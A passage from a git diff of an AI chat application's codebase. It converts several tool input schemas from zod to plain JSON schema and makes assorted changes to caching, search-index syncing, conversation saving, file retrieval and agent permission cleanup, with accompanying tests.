"Celsius", "Kelvin", or "Fahrenheit" (default: Celsius). ' + 'For timestamp action, use "date" in YYYY-MM-DD format.'; - schema = z.object({ - action: z.enum(['help', 'current_forecast', 'timestamp', 'daily_aggregation', 'overview']), - city: z.string().optional(), - lat: z.number().optional(), - lon: z.number().optional(), - exclude: z.string().optional(), - units: z.enum(['Celsius', 'Kelvin', 'Fahrenheit']).optional(), - lang: z.string().optional(), - date: z.string().optional(), // For timestamp and daily_aggregation - tz: z.string().optional(), - }); + schema = openWeatherJsonSchema; + + static get jsonSchema() { + return openWeatherJsonSchema; + } constructor(fields = {}) { super(); diff --git a/api/app/clients/tools/structured/StableDiffusion.js b/api/app/clients/tools/structured/StableDiffusion.js index 3a1ea831d3..d7a7a4d96b 100644 --- a/api/app/clients/tools/structured/StableDiffusion.js +++ b/api/app/clients/tools/structured/StableDiffusion.js @@ -1,6 +1,5 @@ // Generates image using stable diffusion webui's api (automatic1111) const fs = require('fs'); -const { z } = require('zod'); const path = require('path'); const axios = require('axios'); const sharp = require('sharp'); @@ -11,6 +10,23 @@ const { FileContext, ContentTypes } = require('librechat-data-provider'); const { getBasePath } = require('@librechat/api'); const paths = require('~/config/paths'); +const stableDiffusionJsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + description: + 'Detailed keywords to describe the subject, using at least 7 keywords to accurately describe the image, separated by comma', + }, + negative_prompt: { + type: 'string', + description: + 'Keywords we want to exclude from the final image, using at least 7 keywords to accurately describe the image, separated by comma', + }, + }, + required: ['prompt', 'negative_prompt'], +}; + const displayMessage = "Stable Diffusion displayed an image. All generated images are already plainly visible, so don't repeat the descriptions in detail. Do not list download links as they are available in the UI already. The user may download the images by clicking on them, but do not mention anything about downloading to the user."; @@ -46,18 +62,11 @@ class StableDiffusionAPI extends Tool { // - Generate images only once per human query unless explicitly requested by the user`; this.description = "You can generate images using text with 'stable-diffusion'. This tool is exclusively for visual content."; - this.schema = z.object({ - prompt: z - .string() - .describe( - 'Detailed keywords to describe the subject, using at least 7 keywords to accurately describe the image, separated by comma', - ), - negative_prompt: z - .string() - .describe( - 'Keywords we want to exclude from the final image, using at least 7 keywords to accurately describe the image, separated by comma', - ), - }); + this.schema = stableDiffusionJsonSchema; + } + + static get jsonSchema() { + return stableDiffusionJsonSchema; } replaceNewLinesWithSpaces(inputString) { diff --git a/api/app/clients/tools/structured/TavilySearchResults.js b/api/app/clients/tools/structured/TavilySearchResults.js index 796f31dcca..0faddfb666 100644 --- a/api/app/clients/tools/structured/TavilySearchResults.js +++ b/api/app/clients/tools/structured/TavilySearchResults.js @@ -1,8 +1,75 @@ -const { z } = require('zod'); const { ProxyAgent, fetch } = require('undici'); const { Tool } = require('@langchain/core/tools'); const { getEnvironmentVariable } = require('@langchain/core/utils/env'); +const tavilySearchJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + minLength: 1, + description: 'The search query string.', + }, + max_results: { + type: 'number', + minimum: 1, + maximum: 10, + description: 'The maximum number of search results to return. Defaults to 5.', + }, + search_depth: { + type: 'string', + enum: ['basic', 'advanced'], + description: + 'The depth of the search, affecting result quality and response time (`basic` or `advanced`). Default is basic for quick results and advanced for indepth high quality results but longer response time. Advanced calls equals 2 requests.', + }, + include_images: { + type: 'boolean', + description: + 'Whether to include a list of query-related images in the response. Default is False.', + }, + include_answer: { + type: 'boolean', + description: 'Whether to include answers in the search results. Default is False.', + }, + include_raw_content: { + type: 'boolean', + description: 'Whether to include raw content in the search results. Default is False.', + }, + include_domains: { + type: 'array', + items: { type: 'string' }, + description: 'A list of domains to specifically include in the search results.', + }, + exclude_domains: { + type: 'array', + items: { type: 'string' }, + description: 'A list of domains to specifically exclude from the search results.', + }, + topic: { + type: 'string', + enum: ['general', 'news', 'finance'], + description: + 'The category of the search. Use news ONLY if query SPECIFCALLY mentions the word "news".', + }, + time_range: { + type: 'string', + enum: ['day', 'week', 'month', 'year', 'd', 'w', 'm', 'y'], + description: 'The time range back from the current date to filter results.', + }, + days: { + type: 'number', + minimum: 1, + description: 'Number of days back from the current date to include. Only if topic is news.', + }, + include_image_descriptions: { + type: 'boolean', + description: + 'When include_images is true, also add a descriptive text for each image. Default is false.', + }, + }, + required: ['query'], +}; + class TavilySearchResults extends Tool { static lc_name() { return 'TavilySearchResults'; @@ -20,64 +87,11 @@ class TavilySearchResults extends Tool { this.description = 'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.'; - this.schema = z.object({ - query: z.string().min(1).describe('The search query string.'), - max_results: z - .number() - .min(1) - .max(10) - .optional() - .describe('The maximum number of search results to return. Defaults to 5.'), - search_depth: z - .enum(['basic', 'advanced']) - .optional() - .describe( - 'The depth of the search, affecting result quality and response time (`basic` or `advanced`). Default is basic for quick results and advanced for indepth high quality results but longer response time. Advanced calls equals 2 requests.', - ), - include_images: z - .boolean() - .optional() - .describe( - 'Whether to include a list of query-related images in the response. Default is False.', - ), - include_answer: z - .boolean() - .optional() - .describe('Whether to include answers in the search results. Default is False.'), - include_raw_content: z - .boolean() - .optional() - .describe('Whether to include raw content in the search results. Default is False.'), - include_domains: z - .array(z.string()) - .optional() - .describe('A list of domains to specifically include in the search results.'), - exclude_domains: z - .array(z.string()) - .optional() - .describe('A list of domains to specifically exclude from the search results.'), - topic: z - .enum(['general', 'news', 'finance']) - .optional() - .describe( - 'The category of the search. Use news ONLY if query SPECIFCALLY mentions the word "news".', - ), - time_range: z - .enum(['day', 'week', 'month', 'year', 'd', 'w', 'm', 'y']) - .optional() - .describe('The time range back from the current date to filter results.'), - days: z - .number() - .min(1) - .optional() - .describe('Number of days back from the current date to include. Only if topic is news.'), - include_image_descriptions: z - .boolean() - .optional() - .describe( - 'When include_images is true, also add a descriptive text for each image. Default is false.', - ), - }); + this.schema = tavilySearchJsonSchema; + } + + static get jsonSchema() { + return tavilySearchJsonSchema; } getApiKey() { @@ -89,12 +103,7 @@ class TavilySearchResults extends Tool { } async _call(input) { - const validationResult = this.schema.safeParse(input); - if (!validationResult.success) { - throw new Error(`Validation failed: ${JSON.stringify(validationResult.error.issues)}`); - } - - const { query, ...rest } = validationResult.data; + const { query, ...rest } = input; const requestBody = { api_key: this.apiKey, diff --git a/api/app/clients/tools/structured/TraversaalSearch.js b/api/app/clients/tools/structured/TraversaalSearch.js index d2ccc35c75..9bc5e399f0 100644 --- a/api/app/clients/tools/structured/TraversaalSearch.js +++ b/api/app/clients/tools/structured/TraversaalSearch.js @@ -1,8 +1,19 @@ -const { z } = require('zod'); const { Tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); const { getEnvironmentVariable } = require('@langchain/core/utils/env'); +const traversaalSearchJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: + "A properly written sentence to be interpreted by an AI to search the web according to the user's request.", + }, + }, + required: ['query'], +}; + /** * Tool for the Traversaal AI search API, Ares. */ @@ -17,17 +28,15 @@ class TraversaalSearch extends Tool { Useful for when you need to answer questions about current events. Input should be a search query.`; this.description_for_model = '\'Please create a specific sentence for the AI to understand and use as a query to search the web based on the user\'s request. For example, "Find information about the highest mountains in the world." or "Show me the latest news articles about climate change and its impact on polar ice caps."\''; - this.schema = z.object({ - query: z - .string() - .describe( - "A properly written sentence to be interpreted by an AI to search the web according to the user's request.", - ), - }); + this.schema = traversaalSearchJsonSchema; this.apiKey = fields?.TRAVERSAAL_API_KEY ?? this.getApiKey(); } + static get jsonSchema() { + return traversaalSearchJsonSchema; + } + getApiKey() { const apiKey = getEnvironmentVariable('TRAVERSAAL_API_KEY'); if (!apiKey && this.override) { diff --git a/api/app/clients/tools/structured/Wolfram.js b/api/app/clients/tools/structured/Wolfram.js index 1f7fe6b1b7..196626e39c 100644 --- a/api/app/clients/tools/structured/Wolfram.js +++ b/api/app/clients/tools/structured/Wolfram.js @@ -1,9 +1,19 @@ /* eslint-disable no-useless-escape */ -const { z } = require('zod'); const axios = require('axios'); const { Tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); +const wolframJsonSchema = { + type: 'object', + properties: { + input: { + type: 'string', + description: 'Natural language query to WolframAlpha following the guidelines', + }, + }, + required: ['input'], +}; + class WolframAlphaAPI extends Tool { constructor(fields) { super(); @@ -41,9 +51,11 @@ class WolframAlphaAPI extends Tool { // -- Do not explain each step unless user input is needed. Proceed directly to making a better API call based on the available assumptions.`; this.description = `WolframAlpha offers computation, math, curated knowledge, and real-time data. It handles natural language queries and performs complex calculations. Follow the guidelines to get the best results.`; - this.schema = z.object({ - input: z.string().describe('Natural language query to WolframAlpha following the guidelines'), - }); + this.schema = wolframJsonSchema; + } + + static get jsonSchema() { + return wolframJsonSchema; } async fetchRawText(url) { diff --git a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js index 4481a7d70f..262842b3c2 100644 --- a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js +++ b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js @@ -1,7 +1,6 @@ const DALLE3 = require('../DALLE3'); const { ProxyAgent } = require('undici'); -jest.mock('tiktoken'); const processFileURL = jest.fn(); describe('DALLE3 Proxy Configuration', () => { diff --git a/api/app/clients/tools/structured/specs/DALLE3.spec.js b/api/app/clients/tools/structured/specs/DALLE3.spec.js index d2040989f9..6071929bfc 100644 --- a/api/app/clients/tools/structured/specs/DALLE3.spec.js +++ b/api/app/clients/tools/structured/specs/DALLE3.spec.js @@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => { }; }); -jest.mock('tiktoken', () => { - return { - encoding_for_model: jest.fn().mockReturnValue({ - encode: jest.fn(), - decode: jest.fn(), - }), - }; -}); - const processFileURL = jest.fn(); const generate = jest.fn(); diff --git a/api/app/clients/tools/util/fileSearch.js b/api/app/clients/tools/util/fileSearch.js index d48b9b986d..2654722be4 100644 --- a/api/app/clients/tools/util/fileSearch.js +++ b/api/app/clients/tools/util/fileSearch.js @@ -1,4 +1,3 @@ -const { z } = require('zod'); const axios = require('axios'); const { tool } = require('@langchain/core/tools'); const { logger } = require('@librechat/data-schemas'); @@ -7,6 +6,18 @@ const { Tools, EToolResources } = require('librechat-data-provider'); const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions'); const { getFiles } = require('~/models'); +const fileSearchJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: + "A natural language query to search for relevant information in the files. Be specific and use keywords related to the information you're looking for. The query will be used for semantic similarity matching against the file contents.", + }, + }, + required: ['query'], +}; + /** * * @param {Object} options @@ -182,15 +193,9 @@ Use the EXACT anchor markers shown below (copy them verbatim) immediately after **ALWAYS mention the filename in your text before the citation marker. NEVER use markdown links or footnotes.**` : '' }`, - schema: z.object({ - query: z - .string() - .describe( - "A natural language query to search for relevant information in the files. Be specific and use keywords related to the information you're looking for. The query will be used for semantic similarity matching against the file contents.", - ), - }), + schema: fileSearchJsonSchema, }, ); }; -module.exports = { createFileSearchTool, primeFiles }; +module.exports = { createFileSearchTool, primeFiles, fileSearchJsonSchema }; diff --git a/api/app/clients/tools/util/handleTools.js b/api/app/clients/tools/util/handleTools.js index da4c687b4d..d82a0d6930 100644 --- a/api/app/clients/tools/util/handleTools.js +++ b/api/app/clients/tools/util/handleTools.js @@ -7,10 +7,12 @@ const { } = require('@librechat/agents'); const { checkAccess, + toolkitParent, createSafeUser, mcpToolPattern, loadWebSearchAuth, buildImageToolContext, + buildWebSearchContext, } = require('@librechat/api'); const { getMCPServersRegistry } = require('~/config'); const { @@ -19,7 +21,6 @@ const { Permissions, EToolResources, PermissionTypes, - replaceSpecialVars, } = require('librechat-data-provider'); const { availableTools, @@ -207,7 +208,7 @@ const loadTools = async ({ }, gemini_image_gen: async (toolContextMap) => { const authFields = getAuthFields('gemini_image_gen'); - const authValues = await loadAuthValues({ userId: user, authFields }); + const authValues = await loadAuthValues({ userId: user, authFields, throwError: false }); const imageFiles = options.tool_resources?.[EToolResources.image_edit]?.files ?? []; const toolContext = buildImageToolContext({ imageFiles, @@ -222,7 +223,6 @@ const loadTools = async ({ isAgent: !!agent, req: options.req, imageFiles, - processFileURL: options.processFileURL, userId: user, fileStrategy, }); @@ -325,24 +325,7 @@ const loadTools = async ({ }); const { onSearchResults, onGetHighlights } = options?.[Tools.web_search] ?? {}; requestedTools[tool] = async () => { - toolContextMap[tool] = `# \`${tool}\`: -Current Date & Time: ${replaceSpecialVars({ text: '{{iso_datetime}}' })} - -**Execute immediately without preface.** After search, provide a brief summary addressing the query directly, then structure your response with clear Markdown formatting (## headers, lists, tables). Cite sources properly, tailor tone to query type, and provide comprehensive details. - -**CITATION FORMAT - UNICODE ESCAPE SEQUENCES ONLY:** -Use these EXACT escape sequences (copy verbatim): \\ue202 (before each anchor), \\ue200 (group start), \\ue201 (group end), \\ue203 (highlight start), \\ue204 (highlight end) - -Anchor pattern: \\ue202turn{N}{type}{index} where N=turn number, type=search|news|image|ref, index=0,1,2... - -**Examples (copy these exactly):** -- Single: "Statement.\\ue202turn0search0" -- Multiple: "Statement.\\ue202turn0search0\\ue202turn0news1" -- Group: "Statement. \\ue200\\ue202turn0search0\\ue202turn0news1\\ue201" -- Highlight: "\\ue203Cited text.\\ue204\\ue202turn0search0" -- Image: "See photo\\ue202turn0image0." - -**CRITICAL:** Output escape sequences EXACTLY as shown. Do NOT substitute with † or other symbols. Place anchors AFTER punctuation. Cite every non-obvious fact/quote. NEVER use markdown links, [1], footnotes, or HTML tags.`.trim(); + toolContextMap[tool] = buildWebSearchContext(); return createSearchTool({ ...result.authResult, onSearchResults, @@ -387,8 +370,16 @@ Anchor pattern: \\ue202turn{N}{type}{index} where N=turn number, type=search|new continue; } - if (customConstructors[tool]) { - requestedTools[tool] = async () => customConstructors[tool](toolContextMap); + const toolKey = customConstructors[tool] ? tool : toolkitParent[tool]; + if (toolKey && customConstructors[toolKey]) { + if (!requestedTools[toolKey]) { + let cached; + requestedTools[toolKey] = async () => { + cached ??= customConstructors[toolKey](toolContextMap); + return cached; + }; + } + requestedTools[tool] = requestedTools[toolKey]; continue; } diff --git a/api/cache/banViolation.js b/api/cache/banViolation.js index 122355edb1..4d321889c1 100644 --- a/api/cache/banViolation.js +++ b/api/cache/banViolation.js @@ -55,6 +55,7 @@ const banViolation = async (req, res, errorMessage) => { res.clearCookie('refreshToken'); res.clearCookie('openid_access_token'); + res.clearCookie('openid_id_token'); res.clearCookie('openid_user_id'); res.clearCookie('token_provider'); diff --git a/api/cache/getLogStores.js b/api/cache/getLogStores.js index 40aac08ee6..70eb681e53 100644 --- a/api/cache/getLogStores.js +++ b/api/cache/getLogStores.js @@ -37,6 +37,7 @@ const namespaces = { [CacheKeys.ROLES]: standardCache(CacheKeys.ROLES), [CacheKeys.APP_CONFIG]: standardCache(CacheKeys.APP_CONFIG), [CacheKeys.CONFIG_STORE]: standardCache(CacheKeys.CONFIG_STORE), + [CacheKeys.TOOL_CACHE]: standardCache(CacheKeys.TOOL_CACHE), [CacheKeys.PENDING_REQ]: standardCache(CacheKeys.PENDING_REQ), [CacheKeys.ENCODED_DOMAINS]: new Keyv({ store: keyvMongo, namespace: CacheKeys.ENCODED_DOMAINS }), [CacheKeys.ABORT_KEYS]: standardCache(CacheKeys.ABORT_KEYS, Time.TEN_MINUTES), @@ -46,11 +47,15 @@ const namespaces = { [CacheKeys.MODEL_QUERIES]: standardCache(CacheKeys.MODEL_QUERIES), [CacheKeys.AUDIO_RUNS]: standardCache(CacheKeys.AUDIO_RUNS, Time.TEN_MINUTES), [CacheKeys.MESSAGES]: standardCache(CacheKeys.MESSAGES, Time.ONE_MINUTE), - [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 3), + [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 10), [CacheKeys.OPENID_EXCHANGED_TOKENS]: standardCache( CacheKeys.OPENID_EXCHANGED_TOKENS, Time.TEN_MINUTES, ), + [CacheKeys.ADMIN_OAUTH_EXCHANGE]: standardCache( + CacheKeys.ADMIN_OAUTH_EXCHANGE, + Time.THIRTY_SECONDS, + ), }; /** diff --git a/api/db/connect.js b/api/db/connect.js index 26166ccff8..3534884b57 100644 --- a/api/db/connect.js +++ b/api/db/connect.js @@ -40,6 +40,10 @@ if (!cached) { cached = global.mongoose = { conn: null, promise: null }; } +mongoose.connection.on('error', (err) => { + logger.error('[connectDb] MongoDB connection error:', err); +}); + async function connectDb() { if (cached.conn && cached.conn?._readyState === 1) { return cached.conn; diff --git a/api/db/indexSync.js b/api/db/indexSync.js index 8e8e999d92..130cde77b8 100644 --- a/api/db/indexSync.js +++ b/api/db/indexSync.js @@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) { const messageCount = messageProgress.totalDocuments; const messagesIndexed = messageProgress.totalProcessed; const unindexedMessages = messageCount - messagesIndexed; + const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0; - if (settingsUpdated || unindexedMessages > syncThreshold) { + if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) { + if (noneIndexed && !settingsUpdated) { + logger.info('[indexSync] No messages marked as indexed, forcing full sync'); + } logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`); await Message.syncWithMeili(); messagesSync = true; @@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) { const convoCount = convoProgress.totalDocuments; const convosIndexed = convoProgress.totalProcessed; - const unindexedConvos = convoCount - convosIndexed; - if (settingsUpdated || unindexedConvos > syncThreshold) { + const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0; + + if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) { + if (noneConvosIndexed && !settingsUpdated) { + logger.info('[indexSync] No conversations marked as indexed, forcing full sync'); + } logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`); await Conversation.syncWithMeili(); convosSync = true; diff --git a/api/db/indexSync.spec.js b/api/db/indexSync.spec.js index c2e5901d6a..dbe07c7595 100644 --- a/api/db/indexSync.spec.js +++ b/api/db/indexSync.spec.js @@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => { ); expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)'); }); + + test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => { + Message.getSyncProgress.mockResolvedValue({ + totalProcessed: 0, + totalDocuments: 680, + isComplete: false, + }); + + Conversation.getSyncProgress.mockResolvedValue({ + totalProcessed: 0, + totalDocuments: 76, + isComplete: false, + }); + + Message.syncWithMeili.mockResolvedValue(undefined); + Conversation.syncWithMeili.mockResolvedValue(undefined); + + const indexSync = require('./indexSync'); + await indexSync(); + + expect(Message.syncWithMeili).toHaveBeenCalledTimes(1); + expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1); + expect(mockLogger.info).toHaveBeenCalledWith( + '[indexSync] No messages marked as indexed, forcing full sync', + ); + expect(mockLogger.info).toHaveBeenCalledWith( + '[indexSync] Starting message sync (680 unindexed)', + ); + expect(mockLogger.info).toHaveBeenCalledWith( + '[indexSync] No conversations marked as indexed, forcing full sync', + ); + expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)'); + }); + + test('does NOT force sync when some documents already indexed and below threshold', async () => { + Message.getSyncProgress.mockResolvedValue({ + totalProcessed: 630, + totalDocuments: 680, + isComplete: false, + }); + + Conversation.getSyncProgress.mockResolvedValue({ + totalProcessed: 70, + totalDocuments: 76, + isComplete: false, + }); + + const indexSync = require('./indexSync'); + await indexSync(); + + expect(Message.syncWithMeili).not.toHaveBeenCalled(); + expect(Conversation.syncWithMeili).not.toHaveBeenCalled(); + expect(mockLogger.info).not.toHaveBeenCalledWith( + '[indexSync] No messages marked as indexed, forcing full sync', + ); + expect(mockLogger.info).not.toHaveBeenCalledWith( + '[indexSync] No conversations marked as indexed, forcing full sync', + ); + expect(mockLogger.info).toHaveBeenCalledWith( + '[indexSync] 50 messages unindexed (below threshold: 1000, skipping)', + ); + expect(mockLogger.info).toHaveBeenCalledWith( + '[indexSync] 6 convos unindexed (below threshold: 1000, skipping)', + ); + }); }); diff --git a/api/db/utils.js b/api/db/utils.js index 4a311d9832..32051be78d 100644 --- a/api/db/utils.js +++ b/api/db/utils.js @@ -26,7 +26,7 @@ async function batchResetMeiliFlags(collection) { try { while (hasMore) { const docs = await collection - .find({ expiredAt: null, _meiliIndex: true }, { projection: { _id: 1 } }) + .find({ expiredAt: null, _meiliIndex: { $ne: false } }, { projection: { _id: 1 } }) .limit(BATCH_SIZE) .toArray(); diff --git a/api/db/utils.spec.js b/api/db/utils.spec.js index 8b32b4aea8..adf4f6cd86 100644 --- a/api/db/utils.spec.js +++ b/api/db/utils.spec.js @@ -265,8 +265,8 @@ describe('batchResetMeiliFlags', () => { const result = await batchResetMeiliFlags(testCollection); - // Only one document has _meiliIndex: true - expect(result).toBe(1); + // both documents should be updated + expect(result).toBe(2); }); it('should handle mixed document states correctly', async () => { @@ -275,16 +275,18 @@ describe('batchResetMeiliFlags', () => { { _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: false }, { _id: new mongoose.Types.ObjectId(), expiredAt: new Date(), _meiliIndex: true }, { _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: true }, + { _id: new mongoose.Types.ObjectId(), expiredAt: null, _meiliIndex: null }, + { _id: new mongoose.Types.ObjectId(), expiredAt: null }, ]); const result = await batchResetMeiliFlags(testCollection); - expect(result).toBe(2); + expect(result).toBe(4); const flaggedDocs = await testCollection .find({ expiredAt: null, _meiliIndex: false }) .toArray(); - expect(flaggedDocs).toHaveLength(3); // 2 were updated, 1 was already false + expect(flaggedDocs).toHaveLength(5); // 4 were updated, 1 was already false }); }); diff --git a/api/jest.config.js b/api/jest.config.js index 20ee3c6aed..47f8b7287b 100644 --- a/api/jest.config.js +++ b/api/jest.config.js @@ -3,12 +3,13 @@ module.exports = { clearMocks: true, roots: [''], coverageDirectory: 'coverage', + maxWorkers: '50%', testTimeout: 30000, // 30 seconds timeout for all tests setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'], moduleNameMapper: { '~/(.*)': '/$1', '~/data/auth.json': '/__mocks__/auth.mock.json', - '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part + '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js', '^openid-client$': '/test/__mocks__/openid-client.js', }, transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'], diff --git a/api/models/Agent.js b/api/models/Agent.js index 11789ca63b..663285183a 100644 --- a/api/models/Agent.js +++ b/api/models/Agent.js @@ -589,10 +589,16 @@ const deleteAgent = async (searchParameter) => { const agent = await Agent.findOneAndDelete(searchParameter); if (agent) { await removeAgentFromAllProjects(agent.id); - await removeAllPermissions({ - resourceType: ResourceType.AGENT, - resourceId: agent._id, - }); + await Promise.all([ + removeAllPermissions({ + resourceType: ResourceType.AGENT, + resourceId: agent._id, + }), + removeAllPermissions({ + resourceType: ResourceType.REMOTE_AGENT, + resourceId: agent._id, + }), + ]); try { await Agent.updateMany({ 'edges.to': agent.id }, { $pull: { edges: { to: agent.id } } }); } catch (error) { @@ -631,7 +637,7 @@ const deleteUserAgents = async (userId) => { } await AclEntry.deleteMany({ - resourceType: ResourceType.AGENT, + resourceType: { $in: [ResourceType.AGENT, ResourceType.REMOTE_AGENT] }, resourceId: { $in: agentObjectIds }, }); diff --git a/api/models/Conversation.js b/api/models/Conversation.js index a8f5f9a36c..121eaa9696 100644 --- a/api/models/Conversation.js +++ b/api/models/Conversation.js @@ -124,10 +124,15 @@ module.exports = { updateOperation, { new: true, - upsert: true, + upsert: metadata?.noUpsert !== true, }, ); + if (!conversation) { + logger.debug('[saveConvo] Conversation not found, skipping update'); + return null; + } + return conversation.toObject(); } catch (error) { logger.error('[saveConvo] Error saving conversation', error); @@ -223,7 +228,7 @@ module.exports = { }, ], }; - } catch (err) { + } catch (_err) { logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning'); } if (cursorFilter) { @@ -356,6 +361,7 @@ module.exports = { const deleteMessagesResult = await deleteMessages({ conversationId: { $in: conversationIds }, + user, }); return { ...deleteConvoResult, messages: deleteMessagesResult }; diff --git a/api/models/Conversation.spec.js b/api/models/Conversation.spec.js index b6237d5f15..e9e4b5762d 100644 --- a/api/models/Conversation.spec.js +++ b/api/models/Conversation.spec.js @@ -106,6 +106,47 @@ describe('Conversation Operations', () => { expect(result.conversationId).toBe(newConversationId); }); + it('should not create a conversation when noUpsert is true and conversation does not exist', async () => { + const nonExistentId = uuidv4(); + const result = await saveConvo( + mockReq, + { conversationId: nonExistentId, title: 'Ghost Title' }, + { noUpsert: true }, + ); + + expect(result).toBeNull(); + + const dbConvo = await Conversation.findOne({ conversationId: nonExistentId }); + expect(dbConvo).toBeNull(); + }); + + it('should update an existing conversation when noUpsert is true', async () => { + await saveConvo(mockReq, mockConversationData); + + const result = await saveConvo( + mockReq, + { conversationId: mockConversationData.conversationId, title: 'Updated Title' }, + { noUpsert: true }, + ); + + expect(result).not.toBeNull(); + expect(result.title).toBe('Updated Title'); + expect(result.conversationId).toBe(mockConversationData.conversationId); + }); + + it('should still upsert by default when noUpsert is not provided', async () => { + const newId = uuidv4(); + const result = await saveConvo(mockReq, { + conversationId: newId, + title: 'New Conversation', + endpoint: EModelEndpoint.openAI, + }); + + expect(result).not.toBeNull(); + expect(result.conversationId).toBe(newId); + expect(result.title).toBe('New Conversation'); + }); + it('should handle unsetFields metadata', async () => { const metadata = { unsetFields: { someField: 1 }, @@ -122,7 +163,6 @@ describe('Conversation Operations', () => { describe('isTemporary conversation handling', () => { it('should save a conversation with expiredAt when isTemporary is true', async () => { - // Mock app config with 24 hour retention mockReq.config.interfaceConfig.temporaryChatRetention = 24; mockReq.body = { isTemporary: true }; @@ -135,7 +175,6 @@ describe('Conversation Operations', () => { expect(result.expiredAt).toBeDefined(); expect(result.expiredAt).toBeInstanceOf(Date); - // Verify expiredAt is approximately 24 hours in the future const expectedExpirationTime = new Date(beforeSave.getTime() + 24 * 60 * 60 * 1000); const actualExpirationTime = new Date(result.expiredAt); @@ -157,7 +196,6 @@ describe('Conversation Operations', () => { }); it('should save a conversation without expiredAt when isTemporary is not provided', async () => { - // No isTemporary in body mockReq.body = {}; const result = await saveConvo(mockReq, mockConversationData); @@ -167,7 +205,6 @@ describe('Conversation Operations', () => { }); it('should use custom retention period from config', async () => { - // Mock app config with 48 hour retention mockReq.config.interfaceConfig.temporaryChatRetention = 48; mockReq.body = { isTemporary: true }; @@ -512,6 +549,7 @@ describe('Conversation Operations', () => { expect(result.messages.deletedCount).toBe(5); expect(deleteMessages).toHaveBeenCalledWith({ conversationId: { $in: [mockConversationData.conversationId] }, + user: 'user123', }); // Verify conversation was deleted diff --git a/api/models/File.js b/api/models/File.js index 5e90c86fe4..1a01ef12f9 100644 --- a/api/models/File.js +++ b/api/models/File.js @@ -26,7 +26,8 @@ const getFiles = async (filter, _sortOptions, selectFields = { text: 0 }) => { }; /** - * Retrieves tool files (files that are embedded or have a fileIdentifier) from an array of file IDs + * Retrieves tool files (files that are embedded or have a fileIdentifier) from an array of file IDs. + * Note: execute_code files are handled separately by getCodeGeneratedFiles. * @param {string[]} fileIds - Array of file_id strings to search for * @param {Set} toolResourceSet - Optional filter for tool resources * @returns {Promise>} Files that match the criteria @@ -37,21 +38,25 @@ const getToolFilesByIds = async (fileIds, toolResourceSet) => { } try { - const filter = { - file_id: { $in: fileIds }, - $or: [], - }; + const orConditions = []; if (toolResourceSet.has(EToolResources.context)) { - filter.$or.push({ text: { $exists: true, $ne: null }, context: FileContext.agents }); + orConditions.push({ text: { $exists: true, $ne: null }, context: FileContext.agents }); } if (toolResourceSet.has(EToolResources.file_search)) { - filter.$or.push({ embedded: true }); + orConditions.push({ embedded: true }); } - if (toolResourceSet.has(EToolResources.execute_code)) { - filter.$or.push({ 'metadata.fileIdentifier': { $exists: true } }); + + if (orConditions.length === 0) { + return []; } + const filter = { + file_id: { $in: fileIds }, + context: { $ne: FileContext.execute_code }, // Exclude code-generated files + $or: orConditions, + }; + const selectFields = { text: 0 }; const sortOptions = { updatedAt: -1 }; @@ -62,6 +67,70 @@ const getToolFilesByIds = async (fileIds, toolResourceSet) => { } }; +/** + * Retrieves files generated by code execution for a given conversation. + * These files are stored locally with fileIdentifier metadata for code env re-upload. + * @param {string} conversationId - The conversation ID to search for + * @param {string[]} [messageIds] - Optional array of messageIds to filter by (for linear thread filtering) + * @returns {Promise>} Files generated by code execution in the conversation + */ +const getCodeGeneratedFiles = async (conversationId, messageIds) => { + if (!conversationId) { + return []; + } + + /** messageIds are required for proper thread filtering of code-generated files */ + if (!messageIds || messageIds.length === 0) { + return []; + } + + try { + const filter = { + conversationId, + context: FileContext.execute_code, + messageId: { $exists: true, $in: messageIds }, + 'metadata.fileIdentifier': { $exists: true }, + }; + + const selectFields = { text: 0 }; + const sortOptions = { createdAt: 1 }; + + return await getFiles(filter, sortOptions, selectFields); + } catch (error) { + logger.error('[getCodeGeneratedFiles] Error retrieving code generated files:', error); + return []; + } +}; + +/** + * Retrieves user-uploaded execute_code files (not code-generated) by their file IDs. + * These are files with fileIdentifier metadata but context is NOT execute_code (e.g., agents or message_attachment). + * File IDs should be collected from message.files arrays in the current thread. + * @param {string[]} fileIds - Array of file IDs to fetch (from message.files in the thread) + * @returns {Promise>} User-uploaded execute_code files + */ +const getUserCodeFiles = async (fileIds) => { + if (!fileIds || fileIds.length === 0) { + return []; + } + + try { + const filter = { + file_id: { $in: fileIds }, + context: { $ne: FileContext.execute_code }, + 'metadata.fileIdentifier': 